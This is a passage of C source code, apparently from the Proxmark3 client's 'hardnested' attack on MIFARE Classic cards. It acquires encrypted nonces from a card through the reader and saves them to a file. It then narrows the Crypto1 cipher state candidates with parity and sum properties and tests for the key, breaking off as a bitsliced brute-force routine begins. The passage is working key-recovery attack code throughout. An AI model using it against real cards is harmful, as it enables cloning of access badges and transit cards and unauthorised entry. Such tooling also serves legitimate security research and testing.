703 uint32_t total_num_nonces = 0;
704 uint32_t next_fivehundred = 500;
705 uint32_t total_added_nonces = 0;
706
707 cuid = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
708 known_target_key = ((uint64_t)rand() & 0xfff) << 36 | ((uint64_t)rand() & 0xfff) << 24 | ((uint64_t)rand() & 0xfff) << 12 | ((uint64_t)rand() & 0xfff);
709
710 printf("Simulating nonce acquisition for target key %012"llx", cuid %08x ...\n", known_target_key, cuid);
711 fprintf(fstats, "%012"llx";%08x;", known_target_key, cuid);
712
713 do {
714 uint32_t nt_enc = 0;
715 uint8_t par_enc = 0;
716
717 simulate_MFplus_RNG(cuid, known_target_key, &nt_enc, &par_enc);
718 //printf("Simulated RNG: nt_enc1: %08x, nt_enc2: %08x, par_enc: %02x\n", nt_enc1, nt_enc2, par_enc);
719 total_added_nonces += add_nonce(nt_enc, par_enc);
720 total_num_nonces++;
721
722 if (first_byte_num == 256 ) {
723 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
724 if (!filter_flip_checked) {
725 Check_for_FilterFlipProperties();
726 filter_flip_checked = true;
727 }
728 num_good_first_bytes = estimate_second_byte_sum();
729 if (total_num_nonces > next_fivehundred) {
730 next_fivehundred = (total_num_nonces/500+1) * 500;
731 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
732 total_num_nonces,
733 total_added_nonces,
734 CONFIDENCE_THRESHOLD * 100.0,
735 num_good_first_bytes);
736 }
737 }
738
739 } while (num_good_first_bytes < GOOD_BYTES_REQUIRED);
740
741 time1 = clock() - time1;
742 if ( time1 > 0 ) {
743 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
744 total_num_nonces,
745 ((float)time1)/CLOCKS_PER_SEC,
746 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1);
747 }
748 fprintf(fstats, "%d;%d;%d;%1.2f;", total_num_nonces, total_added_nonces, num_good_first_bytes, CONFIDENCE_THRESHOLD);
749
750 }
751
752 static int acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow)
753 {
754 clock_t time1 = clock();
755 bool initialize = true;
756 bool finished = false;
757 bool filter_flip_checked = false;
758 uint32_t flags = 0;
759 uint8_t write_buf[9];
760 uint32_t total_num_nonces = 0;
761 uint32_t next_fivehundred = 500;
762 uint32_t total_added_nonces = 0;
763 uint32_t idx = 1;
764 FILE *fnonces = NULL;
765 UsbCommand resp;
766
767 field_off = false;
768 thread_check_started = false;
769 thread_check_done = false;
770
771 printf("Acquiring nonces...\n");
772
773 clearCommandBuffer();
774
775 do {
776 if (thread_check_started && !thread_check_done) {
777 sleep(3);
778 continue;
779 }
780
781 flags = 0;
782 flags |= initialize ? 0x0001 : 0;
783 flags |= slow ? 0x0002 : 0;
784 flags |= field_off ? 0x0004 : 0;
785 UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}};
786 memcpy(c.d.asBytes, key, 6);
787
788 SendCommand(&c);
789
790 if (field_off) finished = true;
791
792 if (initialize) {
793 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1;
794 if (resp.arg[0]) return resp.arg[0]; // error during nested_hard
795
796 cuid = resp.arg[1];
797 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
798 if (nonce_file_write && fnonces == NULL) {
799 if ((fnonces = fopen("nonces.bin","wb")) == NULL) {
800 PrintAndLog("Could not create file nonces.bin");
801 return 3;
802 }
803 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
804 num_to_bytes(cuid, 4, write_buf);
805 fwrite(write_buf, 1, 4, fnonces);
806 fwrite(&trgBlockNo, 1, 1, fnonces);
807 fwrite(&trgKeyType, 1, 1, fnonces);
808 }
809 }
810
811 if (!initialize) {
812 uint32_t nt_enc1, nt_enc2;
813 uint8_t par_enc;
814 uint16_t num_acquired_nonces = resp.arg[2];
815 uint8_t *bufp = resp.d.asBytes;
816 for (uint16_t i = 0; i < num_acquired_nonces; i+=2) {
817 nt_enc1 = bytes_to_num(bufp, 4);
818 nt_enc2 = bytes_to_num(bufp+4, 4);
819 par_enc = bytes_to_num(bufp+8, 1);
820
821 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
822 total_added_nonces += add_nonce(nt_enc1, par_enc >> 4);
823 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
824 total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f);
825
826 if (nonce_file_write && fnonces) {
827 fwrite(bufp, 1, 9, fnonces);
828 }
829
830 bufp += 9;
831 }
832
833 total_num_nonces += num_acquired_nonces;
834 }
835
836 if (first_byte_num == 256 && !field_off) {
837 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
838 if (!filter_flip_checked) {
839 Check_for_FilterFlipProperties();
840 filter_flip_checked = true;
841 }
842
843 num_good_first_bytes = estimate_second_byte_sum();
844 if (total_num_nonces > next_fivehundred) {
845 next_fivehundred = (total_num_nonces/500+1) * 500;
846 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
847 total_num_nonces,
848 total_added_nonces,
849 CONFIDENCE_THRESHOLD * 100.0,
850 num_good_first_bytes);
851 }
852
853 if (thread_check_started) {
854 if (thread_check_done) {
855 pthread_join (thread_check, 0);
856 thread_check_started = thread_check_done = false;
857 }
858 } else {
859 if (total_added_nonces >= MIN_NONCES_REQUIRED)
860 {
861 num_good_first_bytes = estimate_second_byte_sum();
862 if (total_added_nonces > (NONCES_TRIGGER*idx) || num_good_first_bytes >= GOOD_BYTES_REQUIRED) {
863 pthread_create (&thread_check, NULL, check_thread, NULL);
864 thread_check_started = true;
865 idx++;
866 }
867 }
868 }
869 }
870
871 if (!initialize) {
872 if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) {
873 if (fnonces) { // fix segfault on proxmark3 v1 when reset button is pressed
874 fclose(fnonces);
875 fnonces = NULL;
876 }
877 return 1;
878 }
879
880 if (resp.arg[0]) {
881 if (fnonces) { // fix segfault on proxmark3 v1 when reset button is pressed
882 fclose(fnonces);
883 fnonces = NULL;
884 }
885 return resp.arg[0]; // error during nested_hard
886 }
887 }
888
889 initialize = false;
890
891 } while (!finished);
892
893 if (nonce_file_write && fnonces) {
894 fclose(fnonces);
895 fnonces = NULL;
896 }
897
898 time1 = clock() - time1;
899 if ( time1 > 0 ) {
900 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
901 total_num_nonces,
902 ((float)time1)/CLOCKS_PER_SEC,
903 total_num_nonces * 60.0 * CLOCKS_PER_SEC/(float)time1
904 );
905 }
906 return 0;
907 }
908
909 static int init_partial_statelists(void)
910 {
911 const uint32_t sizes_odd[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
912 // const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
913 const uint32_t sizes_even[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73357, 0, 18127, 0, 126635 };
914
915 printf("Allocating memory for partial statelists...\n");
916 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
917 for (uint16_t i = 0; i <= 16; i+=2) {
918 partial_statelist[i].len[odd_even] = 0;
919 uint32_t num_of_states = odd_even == ODD_STATE ? sizes_odd[i] : sizes_even[i];
920 partial_statelist[i].states[odd_even] = malloc(sizeof(uint32_t) * num_of_states);
921 if (partial_statelist[i].states[odd_even] == NULL) {
922 PrintAndLog("Cannot allocate enough memory. Aborting");
923 return 4;
924 }
925 for (uint32_t j = 0; j < STATELIST_INDEX_SIZE; j++) {
926 partial_statelist[i].index[odd_even][j] = NULL;
927 }
928 }
929 }
930
931 printf("Generating partial statelists...\n");
932 for (odd_even_t odd_even = EVEN_STATE; odd_even <= ODD_STATE; odd_even++) {
933 uint32_t index = -1;
934 uint32_t num_of_states = 1<<20;
935 for (uint32_t state = 0; state < num_of_states; state++) {
936 uint16_t sum_property = PartialSumProperty(state, odd_even);
937 uint32_t *p = partial_statelist[sum_property].states[odd_even];
938 p += partial_statelist[sum_property].len[odd_even];
939 *p = state;
940 partial_statelist[sum_property].len[odd_even]++;
941 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
942 if ((state & index_mask) != index) {
943 index = state & index_mask;
944 }
945 if (partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
946 partial_statelist[sum_property].index[odd_even][index >> (20-STATELIST_INDEX_WIDTH)] = p;
947 }
948 }
949 // add End Of List markers
950 for (uint16_t i = 0; i <= 16; i += 2) {
951 uint32_t *p = partial_statelist[i].states[odd_even];
952 p += partial_statelist[i].len[odd_even];
953 *p = END_OF_LIST_MARKER;
954 }
955 }
956
957 return 0;
958 }
959
960 static void init_BitFlip_statelist(void)
961 {
962 printf("Generating bitflip statelist...\n");
963 uint32_t *p = statelist_bitflip.states[0] = malloc(sizeof(uint32_t) * 1<<20);
964 uint32_t index = -1;
965 uint32_t index_mask = (STATELIST_INDEX_SIZE-1) << (20-STATELIST_INDEX_WIDTH);
966 for (uint32_t state = 0; state < (1 << 20); state++) {
967 if (filter(state) != filter(state^1)) {
968 if ((state & index_mask) != index) {
969 index = state & index_mask;
970 }
971 if (statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] == NULL) {
972 statelist_bitflip.index[0][index >> (20-STATELIST_INDEX_WIDTH)] = p;
973 }
974 *p++ = state;
975 }
976 }
977 // set len and add End Of List marker
978 statelist_bitflip.len[0] = p - statelist_bitflip.states[0];
979 *p = END_OF_LIST_MARKER;
980 statelist_bitflip.states[0] = realloc(statelist_bitflip.states[0], sizeof(uint32_t) * (statelist_bitflip.len[0] + 1));
981 }
982
983 static inline uint32_t *find_first_state(uint32_t state, uint32_t mask, partial_indexed_statelist_t *sl, odd_even_t odd_even)
984 {
985 uint32_t *p = sl->index[odd_even][(state & mask) >> (20-STATELIST_INDEX_WIDTH)]; // first Bits as index
986
987 if (p == NULL) return NULL;
988 while (*p < (state & mask)) p++;
989 if (*p == END_OF_LIST_MARKER) return NULL; // reached end of list, no match
990 if ((*p & mask) == (state & mask)) return p; // found a match.
991 return NULL; // no match
992 }
993
994 static inline bool /*__attribute__((always_inline))*/ invariant_holds(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
995 {
996 uint_fast8_t j_1_bit_mask = 0x01 << (bit-1);
997 uint_fast8_t bit_diff = byte_diff & j_1_bit_mask; // difference of (j-1)th bit
998 uint_fast8_t filter_diff = filter(state1 >> (4-state_bit)) ^ filter(state2 >> (4-state_bit)); // difference in filter function
999 uint_fast8_t mask_y12_y13 = 0xc0 >> state_bit;
1000 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y12_y13; // difference in state bits 12 and 13
1001 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff ^ filter_diff); // use parity function to XOR all bits
1002 return !all_diff;
1003 }
1004
1005 static inline bool /*__attribute__((always_inline))*/ invalid_state(uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, uint_fast8_t bit, uint_fast8_t state_bit)
1006 {
1007 uint_fast8_t j_bit_mask = 0x01 << bit;
1008 uint_fast8_t bit_diff = byte_diff & j_bit_mask; // difference of jth bit
1009 uint_fast8_t mask_y13_y16 = 0x48 >> state_bit;
1010 uint_fast8_t state_bits_diff = (state1 ^ state2) & mask_y13_y16; // difference in state bits 13 and 16
1011 uint_fast8_t all_diff = evenparity8(bit_diff ^ state_bits_diff); // use parity function to XOR all bits
1012 return all_diff;
1013 }
1014
1015 static inline bool remaining_bits_match(uint_fast8_t num_common_bits, uint_fast8_t byte_diff, uint_fast32_t state1, uint_fast32_t state2, odd_even_t odd_even)
1016 {
1017 if (odd_even) {
1018 // odd bits
1019 switch (num_common_bits) {
1020 case 0: if (!invariant_holds(byte_diff, state1, state2, 1, 0)) return true;
1021 case 1: if (invalid_state(byte_diff, state1, state2, 1, 0)) return false;
1022 case 2: if (!invariant_holds(byte_diff, state1, state2, 3, 1)) return true;
1023 case 3: if (invalid_state(byte_diff, state1, state2, 3, 1)) return false;
1024 case 4: if (!invariant_holds(byte_diff, state1, state2, 5, 2)) return true;
1025 case 5: if (invalid_state(byte_diff, state1, state2, 5, 2)) return false;
1026 case 6: if (!invariant_holds(byte_diff, state1, state2, 7, 3)) return true;
1027 case 7: if (invalid_state(byte_diff, state1, state2, 7, 3)) return false;
1028 }
1029 } else {
1030 // even bits
1031 switch (num_common_bits) {
1032 case 0: if (invalid_state(byte_diff, state1, state2, 0, 0)) return false;
1033 case 1: if (!invariant_holds(byte_diff, state1, state2, 2, 1)) return true;
1034 case 2: if (invalid_state(byte_diff, state1, state2, 2, 1)) return false;
1035 case 3: if (!invariant_holds(byte_diff, state1, state2, 4, 2)) return true;
1036 case 4: if (invalid_state(byte_diff, state1, state2, 4, 2)) return false;
1037 case 5: if (!invariant_holds(byte_diff, state1, state2, 6, 3)) return true;
1038 case 6: if (invalid_state(byte_diff, state1, state2, 6, 3)) return false;
1039 }
1040 }
1041
1042 return true; // valid state
1043 }
1044
1045 static bool all_other_first_bytes_match(uint32_t state, odd_even_t odd_even)
1046 {
1047 for (uint16_t i = 1; i < num_good_first_bytes; i++) {
1048 uint16_t sum_a8 = nonces[best_first_bytes[i]].Sum8_guess;
1049 uint_fast8_t bytes_diff = best_first_bytes[0] ^ best_first_bytes[i];
1050 uint_fast8_t j = common_bits(bytes_diff);
1051 uint32_t mask = 0xfffffff0;
1052 if (odd_even == ODD_STATE) {
1053 mask >>= j/2;
1054 } else {
1055 mask >>= (j+1)/2;
1056 }
1057 mask &= 0x000fffff;
1058 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1059 bool found_match = false;
1060 for (uint16_t r = 0; r <= 16 && !found_match; r += 2) {
1061 for (uint16_t s = 0; s <= 16 && !found_match; s += 2) {
1062 if (r*(16-s) + (16-r)*s == sum_a8) {
1063 //printf("Checking byte 0x%02x for partial sum (%s) %d\n", best_first_bytes[i], odd_even==ODD_STATE?"odd":"even", odd_even==ODD_STATE?r:s);
1064 uint16_t part_sum_a8 = (odd_even == ODD_STATE) ? r : s;
1065 uint32_t *p = find_first_state(state, mask, &partial_statelist[part_sum_a8], odd_even);
1066 if (p != NULL) {
1067 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1068 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1069 found_match = true;
1070 // if ((odd_even == ODD_STATE && state == test_state_odd)
1071 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1072 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1073 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1074 // }
1075 break;
1076 } else {
1077 // if ((odd_even == ODD_STATE && state == test_state_odd)
1078 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1079 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1080 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1081 // }
1082 }
1083 p++;
1084 }
1085 } else {
1086 // if ((odd_even == ODD_STATE && state == test_state_odd)
1087 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1088 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1089 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1090 // }
1091 }
1092 }
1093 }
1094 }
1095
1096 if (!found_match) {
1097 // if ((odd_even == ODD_STATE && state == test_state_odd)
1098 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1099 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1100 // }
1101 return false;
1102 }
1103 }
1104
1105 return true;
1106 }
1107
1108 static bool all_bit_flips_match(uint32_t state, odd_even_t odd_even)
1109 {
1110 for (uint16_t i = 0; i < 256; i++) {
1111 if (nonces[i].BitFlip[odd_even] && i != best_first_bytes[0]) {
1112 uint_fast8_t bytes_diff = best_first_bytes[0] ^ i;
1113 uint_fast8_t j = common_bits(bytes_diff);
1114 uint32_t mask = 0xfffffff0;
1115 if (odd_even == ODD_STATE) {
1116 mask >>= j/2;
1117 } else {
1118 mask >>= (j+1)/2;
1119 }
1120 mask &= 0x000fffff;
1121 //printf("bytes 0x%02x and 0x%02x: %d common bits, mask = 0x%08x, state = 0x%08x, sum_a8 = %d", best_first_bytes[0], best_first_bytes[i], j, mask, state, sum_a8);
1122 bool found_match = false;
1123 uint32_t *p = find_first_state(state, mask, &statelist_bitflip, 0);
1124 if (p != NULL) {
1125 while ((state & mask) == (*p & mask) && (*p != END_OF_LIST_MARKER)) {
1126 if (remaining_bits_match(j, bytes_diff, state, (state&0x00fffff0) | *p, odd_even)) {
1127 found_match = true;
1128 // if ((odd_even == ODD_STATE && state == test_state_odd)
1129 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1130 // printf("all_other_first_bytes_match(): %s test state: remaining bits matched. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1131 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1132 // }
1133 break;
1134 } else {
1135 // if ((odd_even == ODD_STATE && state == test_state_odd)
1136 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1137 // printf("all_other_first_bytes_match(): %s test state: remaining bits didn't match. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1138 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1139 // }
1140 }
1141 p++;
1142 }
1143 } else {
1144 // if ((odd_even == ODD_STATE && state == test_state_odd)
1145 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1146 // printf("all_other_first_bytes_match(): %s test state: couldn't find a matching state. Bytes = %02x, %02x, Common Bits=%d, mask=0x%08x, PartSum(a8)=%d\n",
1147 // odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j, mask, part_sum_a8);
1148 // }
1149 }
1150 if (!found_match) {
1151 // if ((odd_even == ODD_STATE && state == test_state_odd)
1152 // || (odd_even == EVEN_STATE && state == test_state_even)) {
1153 // printf("all_other_first_bytes_match(): %s test state: Eliminated. Bytes = %02x, %02x, Common Bits = %d\n", odd_even==ODD_STATE?"odd":"even", best_first_bytes[0], best_first_bytes[i], j);
1154 // }
1155 return false;
1156 }
1157 }
1158
1159 }
1160
1161 return true;
1162 }
1163
1164 static struct sl_cache_entry {
1165 uint32_t *sl;
1166 uint32_t len;
1167 } sl_cache[17][17][2];
1168
1169 static void init_statelist_cache(void)
1170 {
1171 for (uint16_t i = 0; i < 17; i+=2) {
1172 for (uint16_t j = 0; j < 17; j+=2) {
1173 for (uint16_t k = 0; k < 2; k++) {
1174 sl_cache[i][j][k].sl = NULL;
1175 sl_cache[i][j][k].len = 0;
1176 }
1177 }
1178 }
1179 }
1180
1181 static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even)
1182 {
1183 uint32_t worstcase_size = 1<<20;
1184
1185 // check cache for existing results
1186 if (sl_cache[part_sum_a0][part_sum_a8][odd_even].sl != NULL) {
1187 candidates->states[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].sl;
1188 candidates->len[odd_even] = sl_cache[part_sum_a0][part_sum_a8][odd_even].len;
1189 return 0;
1190 }
1191
1192 candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size);
1193 if (candidates->states[odd_even] == NULL) {
1194 PrintAndLog("Out of memory error.\n");
1195 return 4;
1196 }
1197 uint32_t *add_p = candidates->states[odd_even];
1198 for (uint32_t *p1 = partial_statelist[part_sum_a0].states[odd_even]; *p1 != END_OF_LIST_MARKER; p1++) {
1199 uint32_t search_mask = 0x000ffff0;
1200 uint32_t *p2 = find_first_state((*p1 << 4), search_mask, &partial_statelist[part_sum_a8], odd_even);
1201 if (p2 != NULL) {
1202 while (((*p1 << 4) & search_mask) == (*p2 & search_mask) && *p2 != END_OF_LIST_MARKER) {
1203 if ((nonces[best_first_bytes[0]].BitFlip[odd_even] && find_first_state((*p1 << 4) | *p2, 0x000fffff, &statelist_bitflip, 0))
1204 || !nonces[best_first_bytes[0]].BitFlip[odd_even]) {
1205 if (all_other_first_bytes_match((*p1 << 4) | *p2, odd_even)) {
1206 if (all_bit_flips_match((*p1 << 4) | *p2, odd_even)) {
1207 *add_p++ = (*p1 << 4) | *p2;
1208 }
1209 }
1210 }
1211 p2++;
1212 }
1213 }
1214 }
1215
1216 // set end of list marker and len
1217 *add_p = END_OF_LIST_MARKER;
1218 candidates->len[odd_even] = add_p - candidates->states[odd_even];
1219
1220 candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1));
1221
1222 sl_cache[part_sum_a0][part_sum_a8][odd_even].sl = candidates->states[odd_even];
1223 sl_cache[part_sum_a0][part_sum_a8][odd_even].len = candidates->len[odd_even];
1224
1225 return 0;
1226 }
1227
1228 static statelist_t *add_more_candidates(statelist_t *current_candidates)
1229 {
1230 statelist_t *new_candidates = NULL;
1231 if (current_candidates == NULL) {
1232 if (candidates == NULL) {
1233 candidates = (statelist_t *)malloc(sizeof(statelist_t));
1234 }
1235 new_candidates = candidates;
1236 } else {
1237 new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t));
1238 }
1239 new_candidates->next = NULL;
1240 new_candidates->len[ODD_STATE] = 0;
1241 new_candidates->len[EVEN_STATE] = 0;
1242 new_candidates->states[ODD_STATE] = NULL;
1243 new_candidates->states[EVEN_STATE] = NULL;
1244 return new_candidates;
1245 }
1246
1247 static bool TestIfKeyExists(uint64_t key)
1248 {
1249 struct Crypto1State *pcs;
1250 pcs = crypto1_create(key);
1251 crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
1252
1253 uint32_t state_odd = pcs->odd & 0x00ffffff;
1254 uint32_t state_even = pcs->even & 0x00ffffff;
1255 //printf("Tests: searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_bytes[0], state_odd, state_even);
1256
1257 uint64_t count = 0;
1258 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1259 bool found_odd = false;
1260 bool found_even = false;
1261 uint32_t *p_odd = p->states[ODD_STATE];
1262 uint32_t *p_even = p->states[EVEN_STATE];
1263 while (*p_odd != END_OF_LIST_MARKER) {
1264 if ((*p_odd & 0x00ffffff) == state_odd) {
1265 found_odd = true;
1266 break;
1267 }
1268 p_odd++;
1269 }
1270 while (*p_even != END_OF_LIST_MARKER) {
1271 if ((*p_even & 0x00ffffff) == state_even) {
1272 found_even = true;
1273 }
1274 p_even++;
1275 }
1276 count += (p_odd - p->states[ODD_STATE]) * (p_even - p->states[EVEN_STATE]);
1277 if (found_odd && found_even) {
1278 PrintAndLog("Key Found after testing %lld (2^%1.1f) out of %lld (2^%1.1f) keys. ",
1279 count,
1280 log(count)/log(2),
1281 maximum_states,
1282 log(maximum_states)/log(2)
1283 );
1284 if (write_stats) {
1285 fprintf(fstats, "1\n");
1286 }
1287 crypto1_destroy(pcs);
1288 return true;
1289 }
1290 }
1291
1292 printf("Key NOT found!\n");
1293 if (write_stats) {
1294 fprintf(fstats, "0\n");
1295 }
1296 crypto1_destroy(pcs);
1297
1298 return false;
1299 }
1300
1301 static bool generate_candidates(uint16_t sum_a0, uint16_t sum_a8)
1302 {
1303 printf("Generating crypto1 state candidates... \n");
1304
1305 statelist_t *current_candidates = NULL;
1306 // estimate maximum candidate states
1307 maximum_states = 0;
1308 for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) {
1309 for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) {
1310 if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) {
1311 maximum_states += (uint64_t)partial_statelist[sum_odd].len[ODD_STATE] * partial_statelist[sum_even].len[EVEN_STATE] * (1<<8);
1312 }
1313 }
1314 }
1315
1316 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1317
1318 printf("Number of possible keys with Sum(a0) = %d: %"PRIu64" (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2));
1319
1320 init_statelist_cache();
1321
1322 for (uint16_t p = 0; p <= 16; p += 2) {
1323 for (uint16_t q = 0; q <= 16; q += 2) {
1324 if (p*(16-q) + (16-p)*q == sum_a0) {
1325 // printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n",
1326 // p, q, partial_statelist[p].len[ODD_STATE], partial_statelist[q].len[EVEN_STATE]);
1327 for (uint16_t r = 0; r <= 16; r += 2) {
1328 for (uint16_t s = 0; s <= 16; s += 2) {
1329 if (r*(16-s) + (16-r)*s == sum_a8) {
1330 current_candidates = add_more_candidates(current_candidates);
1331 // check for the smallest partial statelist. Try this first - it might give 0 candidates
1332 // and eliminate the need to calculate the other part
1333 if (MIN(partial_statelist[p].len[ODD_STATE], partial_statelist[r].len[ODD_STATE])
1334 < MIN(partial_statelist[q].len[EVEN_STATE], partial_statelist[s].len[EVEN_STATE])) {
1335 add_matching_states(current_candidates, p, r, ODD_STATE);
1336 if(current_candidates->len[ODD_STATE]) {
1337 add_matching_states(current_candidates, q, s, EVEN_STATE);
1338 } else {
1339 current_candidates->len[EVEN_STATE] = 0;
1340 uint32_t *p = current_candidates->states[EVEN_STATE] = malloc(sizeof(uint32_t));
1341 *p = END_OF_LIST_MARKER;
1342 }
1343 } else {
1344 add_matching_states(current_candidates, q, s, EVEN_STATE);
1345 if(current_candidates->len[EVEN_STATE]) {
1346 add_matching_states(current_candidates, p, r, ODD_STATE);
1347 } else {
1348 current_candidates->len[ODD_STATE] = 0;
1349 uint32_t *p = current_candidates->states[ODD_STATE] = malloc(sizeof(uint32_t));
1350 *p = END_OF_LIST_MARKER;
1351 }
1352 }
1353 //printf("Odd state candidates: %6d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2));
1354 //printf("Even state candidates: %6d (2^%0.1f)\n", current_candidates->len[EVEN_STATE], log(current_candidates->len[EVEN_STATE])/log(2));
1355 }
1356 }
1357 }
1358 }
1359 }
1360 }
1361
1362 maximum_states = 0;
1363 for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) {
1364 maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE];
1365 }
1366
1367 if (maximum_states == 0) return false; // prevent keyspace reduction error (2^-inf)
1368
1369 float kcalc = log(maximum_states)/log(2);
1370 printf("Number of remaining possible keys: %"PRIu64" (2^%1.1f)\n", maximum_states, kcalc);
1371 if (write_stats) {
1372 if (maximum_states != 0) {
1373 fprintf(fstats, "%1.1f;", kcalc);
1374 } else {
1375 fprintf(fstats, "%1.1f;", 0.0);
1376 }
1377 }
1378 if (kcalc < CRACKING_THRESHOLD) return true;
1379
1380 return false;
1381 }
1382
1383 static void free_candidates_memory(statelist_t *sl)
1384 {
1385 if (sl == NULL) {
1386 return;
1387 } else {
1388 free_candidates_memory(sl->next);
1389 free(sl);
1390 }
1391 }
1392
1393 static void free_statelist_cache(void)
1394 {
1395 for (uint16_t i = 0; i < 17; i+=2) {
1396 for (uint16_t j = 0; j < 17; j+=2) {
1397 for (uint16_t k = 0; k < 2; k++) {
1398 free(sl_cache[i][j][k].sl);
1399 }
1400 }
1401 }
1402 }
1403
1404 uint64_t foundkey = 0;
1405 size_t keys_found = 0;
1406 size_t bucket_count = 0;
1407 statelist_t* buckets[128];
1408 size_t total_states_tested = 0;
1409 size_t thread_count = 4;
1410
1411 // these bitsliced states will hold identical states in all slices
1412 bitslice_t bitsliced_rollback_byte[ROLLBACK_SIZE];
1413
1414 // arrays of bitsliced states with identical values in all slices
1415 bitslice_t bitsliced_encrypted_nonces[NONCE_TESTS][STATE_SIZE];
1416 bitslice_t bitsliced_encrypted_parity_bits[NONCE_TESTS][ROLLBACK_SIZE];
1417
1418 #define EXACT_COUNT
1419
1420 static const uint64_t crack_states_bitsliced(statelist_t *p){
1421 // the idea to roll back the half-states before combining them was suggested/explained to me by bla
1422 // first we pre-bitslice all the even state bits and roll them back, then bitslice the odd bits and combine the two in the inner loop
1423 uint64_t key = -1;
